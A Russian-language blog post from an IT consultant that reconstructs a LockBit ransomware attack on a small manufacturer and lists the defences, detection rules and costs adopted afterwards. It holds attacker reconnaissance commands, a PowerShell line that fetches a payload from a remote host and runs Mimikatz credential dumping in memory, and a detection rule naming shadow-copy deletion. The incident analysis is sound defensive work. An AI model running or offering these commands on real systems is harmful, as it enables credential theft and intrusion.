LockBit в малом бизнесе: разбор реальной атаки и защита
В январе ко мне обратилась производственная компания из подмосковного Подольска — 38 рабочих мест, цех плюс офис. История стандартная: пришли в понедельник, а половина сети зашифрована. Семейство — LockBit Black. Разбираю, как атакующие зашли, что делали 5 дней до шифрования и почему классические "купите антивирус" уже не работают.
Я Евгений Семёнов, руковожу ITfresh с 2010 года. За последние два года через мою команду прошло одиннадцать инцидентов с LockBit и его клонами. Этот разбор — не теория, а пересказ реальной post-incident-сессии с пошаговой реконструкцией по логам.
Кто атакует малый бизнес и зачем
До 2021 года ransomware-группы охотились в основном за энтерпрайзом. Окупалась только атака с выкупом от 500 тыс. долларов. Сейчас картина изменилась — модель RaaS сделала атаку дешёвой:
- Аффилиат покупает доступ к сети у брокера в даркнете за 200-2000 долларов.
- Берёт билд LockBit с панели управления, кастомизирует под жертву (исключения, заметка, ID кампании).
- Выкатывает шифровальщик, требует 50-300 тыс. долларов с малого бизнеса.
- Делится с банкой 20-30% выкупа.
То есть атака на офис из 30 человек теперь экономически целесообразна. Малый бизнес стал законной добычей.
Клиент и инфраструктура
Производитель упаковки, 38 человек: 22 в офисе, 16 на цехе. Серверная база скромная:
- Один Hyper-V (Server 2019), на нём — DC, файловый сервер, 1С + MSSQL Express, Exchange 2019, RDP-сервер для удалёнщиков (без RD Gateway, прямо в интернет, порт 3389).
- NAS на QNAP для бэкапов через Veeam Community Edition.
- Mikrotik в роли роутера и VPN-сервера для подрядчиков.
- Два подрядчика — бухгалтерская фирма и компания, которая обслуживает оборудование цеха через удалённый доступ к контроллерам.
Ключевая ошибка — подрядчики имели полноценный VPN-доступ во внутреннюю сеть с правами обычного пользователя домена. Без MFA, без сегментации.
Реконструкция атаки по логам
Когда меня позвали, серверы и 31 рабочая станция были зашифрованы. Я начал не с восстановления, а с форензики — собрал артефакты с двух уцелевших машин (они были выключены в выходные), поднял виртуалку с журналами Windows, экспортировал логи Mikrotik и Veeam.
День -7: первичный доступ
Вторник, 02:14 ночи. На VPN-сервере Mikrotik залогинился пользователь contractor_buh с IP-адреса в Молдове. Это была учётка бухгалтерской фирмы. Подрядчик впоследствии подтвердил, что в начале января у них через спам-рассылку был отжат ноутбук бухгалтера, на котором сохранялся пароль от VPN клиента в Outlook-заметке.
Атакующие вошли в инфраструктуру под видом легитимного партнёра. Никаких алертов — это была обычная учётка, обычное время для бухгалтера было ненормальным, но никто не мониторил время логинов.
День -6: разведка
В первые сутки атакующий вёл себя тихо: лишь несколько команд для понимания, куда он попал.
whoami /all
net user /domain
net group "Domain Admins" /domain
nltest /dclist:
ipconfig /all
arp -a
Эти команды не вызывают подозрений в обычной системе мониторинга, но Wazuh при правильной настройке детектит подобный паттерн как Discovery Phase MITRE ATT&CK T1087.
День -5: повышение привилегий
Атакующий запустил BloodHound (через SharpHound собрал данные домена) и нашёл путь к доменадмину. Один из сотрудников цеха имел учётку с правом локального администратора на машине системного администратора (типичный недосмотр — раньше так было удобнее настраивать), а админ хранил локально пароль доменадмина в Notepad++.
Через psexec и crackmapexec атакующий получил локальный доступ к этой машине ночью, выгрузил LSASS, расшифровал хеш и получил пароль доменадмина в открытом виде. Mimikatz в виде PowerShell-инжекта обошёл базовый антивирус Defender, потому что был обфусцирован Invoke-Obfuscation:
# Упрощённый пример того, как выглядел запуск:
$b = (New-Object Net.WebClient).DownloadString('http://[REDACTED]/i.txt')
$d = [Convert]::FromBase64String($b)
$a = [System.Reflection.Assembly]::Load($d)
[Mimi.Program]::Main(@('sekurlsa::logonpasswords','exit'))
День -4 и -3: боковое движение
Через WMI и WinRM атакующий обошёл всю сеть, идентифицировал серверы, нашёл два важных места:
- Veeam — на нём были учётные данные доступа к QNAP по SMB.
- Бэкапы 1С — клиент лет пять делал ночной выгрузк через dt-файл на отдельную шару, с retention 14 дней.
Он не стал ничего трогать сразу — выгрузил себе всё интересное (файлы клиентов, договора, базу 1С dt) через Cloudflare-туннель, замаскированный под обновление Chrome. Это double extortion: сначала украсть, потом зашифровать. Если жертва не платит за расшифровку — публикуют украденное.
День -2 и -1: персистенс
На пяти машинах атакующий установил скрытые механизмы возврата:
- Запланированная задача с именем
GoogleUpdaterTaskMachineCore, маскирующаяся под легитимную. - WMI-подписка на событие входа в систему, запускающая полезную нагрузку.
- Модифицированный DLL в папке
C:\Windows\System32\, заменяющий стандартный compatibility shim.
На контроллере домена был выпущен Golden Ticket — поддельный Kerberos-билет, дающий вечный доступ от имени любого пользователя. Это критично: даже после смены всех паролей атакующий мог вернуться, если не сбросить хеш krbtgt дважды.
День 0: шифрование
Воскресенье, 23:42. Через GPO с компьютерной частью "Computer Configuration → Preferences → Files" атакующий разложил исполняемый файл LockBit во временную папку всех машин домена. Затем через scheduled task с триггером "немедленно" запустил его одновременно. За 22 минуты были зашифрованы все доступные носители, кроме офлайн-картриджей в сейфе и одного RDP-сервера, который банально упал из-за перегрузки CPU и не успел зашифроваться полностью.
Почему классическая защита не сработала
У клиента стоял Windows Defender (бесплатный), пароли по политике 8 символов, был антифишинг в почте. Этого недостаточно по нескольким причинам:
- Дефендер не ловил инжект. Mimikatz через Invoke-Obfuscation проскальзывает мимо сигнатурного скана. Нужен EDR с поведенческим анализом и AMSI.
- Не было MFA на VPN. Пароль подрядчика украли — и привет.
- Подрядчик был в общем домене. Должен был быть в DMZ с фильтром по белому списку приложений.
- Локальные админы не контролировались. Нет LAPS — нет ротации локальных паролей, нет тейринга — атакующий быстро доходит до доменадмина.
- Бэкапы доступны под доменной учёткой. Veeam запущен под админом, репозиторий — обычная SMB-шара. При компрометации домена бэкапы — мусор.
Что мы внедрили после инцидента
После восстановления (это было отдельной операцией на 4 дня — расскажу в другой статье) мы перестроили защитный контур.
1. EDR с поведенческой аналитикой
Поставили ESET Inspect Endpoint Protection с Wazuh-агентом для дублирующего мониторинга. Wazuh собирает события в SIEM, ESET — закрывает endpoint. Правила детекта на типичные TTP LockBit:
<rule id="100501" level="12">
<if_sid>60103</if_sid>
<field name="win.eventdata.commandLine" type="pcre2">
(?i)(vssadmin\s+delete\s+shadows|wbadmin\s+delete\s+catalog|bcdedit\s+/set.+recoveryenabled\s+No)
</field>
<description>Ransomware: попытка удалить теневые копии и отключить recovery</description>
<mitre>
<id>T1490</id>
</mitre>
</rule>
2. MFA везде, где есть удалённый доступ
VPN, RDP, веб-почта, админский вход — везде Microsoft Authenticator или резервный TOTP в KeePassXC. Реализация на Mikrotik — через Radius+freeRADIUS+PrivacyIDEA. Подрядчики получают одноразовый код через Telegram-бот после согласования с ответственным менеджером.
3. Сегментация и DMZ для подрядчиков
Подрядчик заходит в отдельный VLAN, видит только тот RDP-jump-сервер, на котором ему разрешено работать, причём jump-сервер логирует все действия через Apache Guacamole с записью сессии в видеофайл. Никакого прямого доступа в продакшн.
4. LAPS и тейринг
Microsoft LAPS включает ротацию локальных админ-паролей раз в 7 дней с разными паролями на каждой машине. Доменадмины разделены на три уровня: T0 — для DC и Hyper-V, T1 — для серверов, T2 — для рабочих станций. Каждый уровень имеет свои учётки и заходит только на свои объекты. Это ломает сценарий "украл хеш админа со станции — захватил DC".
5. Иммутабельные бэкапы
Vault repository в Veeam, запущенный на отдельном Linux-сервере, к которому SSH открыт только с админского ноутбука по ключу. Файлы блокируются immutable-флагом на 30 дней. Дополнительно — еженедельный экспорт на LTO-7 ленты, ленты раз в неделю меняются и старая увозится в банковскую ячейку. Стоимость — 4 тыс. рублей в месяц.
6. Application allowlist
Через WDAC (Windows Defender Application Control) запретили запуск любых исполняемых файлов из путей %APPDATA%, %TEMP%, %USERPROFILE%\Downloads для рядовых пользователей. Это закрывает 90% пейлоадов, которые пытаются запуститься из этих папок.
7. Обучение сотрудников
Раз в квартал — фишинговые рассылки изнутри (через GoPhish или KnowBe4) и разбор кейсов в часовом формате. После трёх итераций процент кликов по фишингу упал с 31% до 4%.
Сколько это стоит
| Компонент | Разовые затраты | Подписка/мес |
|---|---|---|
| EDR (ESET / Kaspersky) на 40 endpoint | — | от 9 600 ₽ |
| Wazuh (open-source, наш развёрт) | 45 000 ₽ | — |
| MFA (PrivacyIDEA + бот) на 50 пользователей | 30 000 ₽ | — |
| Сегментация и DMZ (работы) | 60 000 ₽ | — |
| Veeam Hardened Repository (сервер + работы) | 140 000 ₽ | — |
| LTO-картриджи + банковская ячейка | 28 000 ₽ | 4 200 ₽ |
| Аккаунт-менеджмент, обучение, аудит | — | от 18 000 ₽ |
| Итого | ~303 000 ₽ | ~31 800 ₽/мес |
Для понимания: оплата выкупа в этом конкретном инциденте требовалась в размере 80 тыс. долларов (около 7.5 млн ₽). Простой 4 рабочих дня на восстановлении обошёлся клиенту примерно в 2.8 млн ₽ упущенной выручки. Защитный контур окупился бы в 30 раз.
Индикаторы компрометации, которые должны были сработать
Если бы у клиента был SIEM — атаку можно было поймать минимум на четырёх этапах. Каждый из них даёт окно от часов до дней:
- Аномальный логин подрядчика. VPN-сессия в 02:14 ночи у бухгалтера — это паттерн, который ловит даже простой алерт "вход вне рабочего времени". В Wazuh это правило в 5 строк.
- Запуск SharpHound и BloodHound. Эти инструменты делают тысячи LDAP-запросов за минуты — Active Directory это видит. Алерт по count-запросов в Event ID 4662 от одного хоста ловит за полчаса.
- Доступ к LSASS. Любой процесс, открывающий
lsass.exeс PROCESS_VM_READ, должен быть в журнале и в EDR. Это Event ID 4656 со специфичным маской прав. - Скачивание мегабайтов через "обновление Chrome". Cloudflare-туннель не используется обычными приложениями. Аномалия в исходящем трафике на порт 443 с устойчивыми соединениями более 30 минут — повод для алерта.
Каждое из этих правил детекта реализуется за 1-2 часа и стоит нулевых лицензионных денег при использовании Wazuh + Sysmon с конфигом SwiftOnSecurity.
Главные мысли для собственника
- Безопасность — это не один продукт, это слоистая система. Антивирус ничего не значит без MFA, MFA ничего не значит без сегментации, сегментация — без бэкапов, бэкапы — без обучения сотрудников.
- Подрядчики — отдельная категория риска. Договор должен прямо требовать MFA на их стороне и регулярный пентест.
- Резервный сервер должен жить вне домена и иметь иммутабельность.
- Если у вас более 20 рабочих мест и нет SIEM — вы летите вслепую. Облачный или self-hosted Wazuh решает вопрос за 50-70 тыс. рублей разово.
- RTO 18 часов и RPO 6 часов — это рабочий уровень для среднего офиса. Если вы не знаете, какие у вас RTO/RPO — это означает, что они равны бесконечности.
- Тренировки реакции на инциденты раз в полгода в формате tabletop. Час, четыре участника, сценарий "у вас зашифровано всё в пятницу вечером — что делаете?". Это вскрывает дыры в планах быстрее любого пентеста.
Бесплатный аудит инфраструктуры от ITfresh
Приду на 2 часа в ваш офис, посмотрю, как настроен AD, бэкапы, доступ подрядчиков, фаервол. Пришлю отчёт с приоритетами и сметой. Бесплатно. Для компаний от 10 до 50 рабочих мест в Москве.
Telegram: @ITfresh_Boss
Телефон: +7 903 729-62-41
Часто задаваемые вопросы
Что такое LockBit и почему его боятся?
LockBit — семейство ransomware, работающее как RaaS-платформа. Аффилиаты покупают готовый билд и атакуют, ядро банды берёт 20-30% выкупа. Атака на 30 рабочих мест экономически рентабельна — это и есть главная угроза для SMB.
Сколько времени проходит от проникновения до шифрования?
От 18 часов до 11 дней, медиана — 4 суток. Это окно — ваш шанс на детект, если есть SIEM с правильными правилами.
Как подрядчики становятся точкой входа?
У подрядчика украдён ноутбук или скомпрометирован VPN-пароль. Защита: подрядчики только через изолированный DMZ, MFA, временные доступы, аудит сессий через Apache Guacamole или Teleport.
Поможет ли антивирус против LockBit?
Базовый антивирус — нет. Современные штаммы используют polymorphism и обфускацию. Нужен EDR с поведенческим анализом — Defender for Endpoint, Wazuh, Kaspersky EDR, ESET Inspect.
Сколько стоит пакет защиты от ransomware для офиса 30 человек?
Разовое внедрение — 250-600 тыс. рублей в зависимости от состояния. Подписки — 8-18 тыс. рублей в месяц. В 50-100 раз меньше стоимости одного дня простоя.